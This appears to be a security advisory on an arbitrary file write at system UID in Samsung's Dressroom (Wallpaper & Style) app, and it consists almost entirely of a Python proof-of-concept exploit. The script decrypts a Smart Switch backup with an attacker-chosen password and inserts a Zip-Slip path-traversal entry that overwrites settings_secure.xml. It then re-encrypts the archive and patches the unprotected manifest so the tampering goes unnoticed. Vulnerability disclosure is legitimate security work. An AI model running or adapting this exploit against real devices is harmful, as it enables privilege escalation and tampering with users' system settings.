Technical Advisory
– Samsung Dressroom (Wallpaper & Style) – Arbitrary File Write at System UID

import io, json, hashlib, zipfile
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

PASSWORD = b"attackerpass"                       # attacker-chosen backup password
DUMMY    = b"<32-hex-from-.DUMMY_ dir name>"     # PBKDF2 salt, read from the backup
BACKUP   = "SmartSwitchBackup2/_/"
ABX      = open("settings_secure_inject.abx", "rb").read()   # crafted Secure Settings (Step 2a)

# Password-mode key derivation (LEVEL_1): PBKDF2-HMAC-SHA1 -> uppercase hex -> SHA-256[:16] = AES-128
ks  = PBKDF2HMAC(algorithm=hashes.SHA1(), length=32, salt=DUMMY, iterations=1000).derive(PASSWORD).hex().upper().encode()
key = hashlib.sha256(ks).digest()[:16]
def dec(b):
    d = Cipher(algorithms.AES(key), modes.CBC(b[:16])).decryptor(); pt = d.update(b[16:]) + d.finalize(); return pt[:-pt[-1]]
def enc(pt):
    iv = hashlib.sha256(pt + b"iv").digest()[:16]; pad = 16 - len(pt) % 16; pt += bytes([pad]) * pad
    e = Cipher(algorithms.AES(key), modes.CBC(iv)).encryptor(); return iv + e.update(pt) + e.finalize()

ws = zipfile.ZipFile(f"{BACKUP}/WALLPAPER_SETTING/WALLPAPER_SETTING.zip")
profiles = dec(ws.read("/profiles.zip.enc"))                 # decrypt inner feature archive

# Rebuild profiles.zip: keep every original entry, ADD the Zip-Slip entry
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
    src = zipfile.ZipFile(io.BytesIO(profiles))
    for i in src.infolist():
        zi = zipfile.ZipInfo(i.filename, i.date_time); zi.compress_type = i.compress_type
        z.writestr(zi, src.read(i.filename))
    z.writestr("../" * 12 + "data/system/users/0/settings_secure.xml", ABX, zipfile.ZIP_DEFLATED)
new_prof = enc(buf.getvalue())

# Repack outer WALLPAPER_SETTING.zip with the tampered member
buf2 = io.BytesIO()
with zipfile.ZipFile(buf2, "w") as z:
    for i in ws.infolist():
        data = new_prof if i.filename == "/profiles.zip.enc" else ws.read(i.filename)
        zi = zipfile.ZipInfo(i.filename, i.date_time); zi.compress_type = zipfile.ZIP_STORED
        z.writestr(zi, data)
new_ws = buf2.getvalue()
open(f"{BACKUP}/WALLPAPER_SETTING/WALLPAPER_SETTING.zip", "wb").write(new_ws)

# Fix the outer-archive size recorded in the (integrity-free) master manifest, re-encrypt
man = json.loads(dec(open(f"{BACKUP}/SmartSwitchBackup.enc", "rb").read()))
for a in man["IsApp"]:
    if a.get("Type") == "WALLPAPER_SETTING":
        a["FileListSize"] = len(new_ws)
        for fi in a.get("ListFileInfo", []):
            if fi.get("FileName") == "WALLPAPER_SETTING.zip":
                fi["Length"] = len(new_ws)
open(f"{BACKUP}/SmartSwitchBackup.enc", "wb").write(enc(json.dumps(man, separators=(",", ":")).encode()))
print("tampered")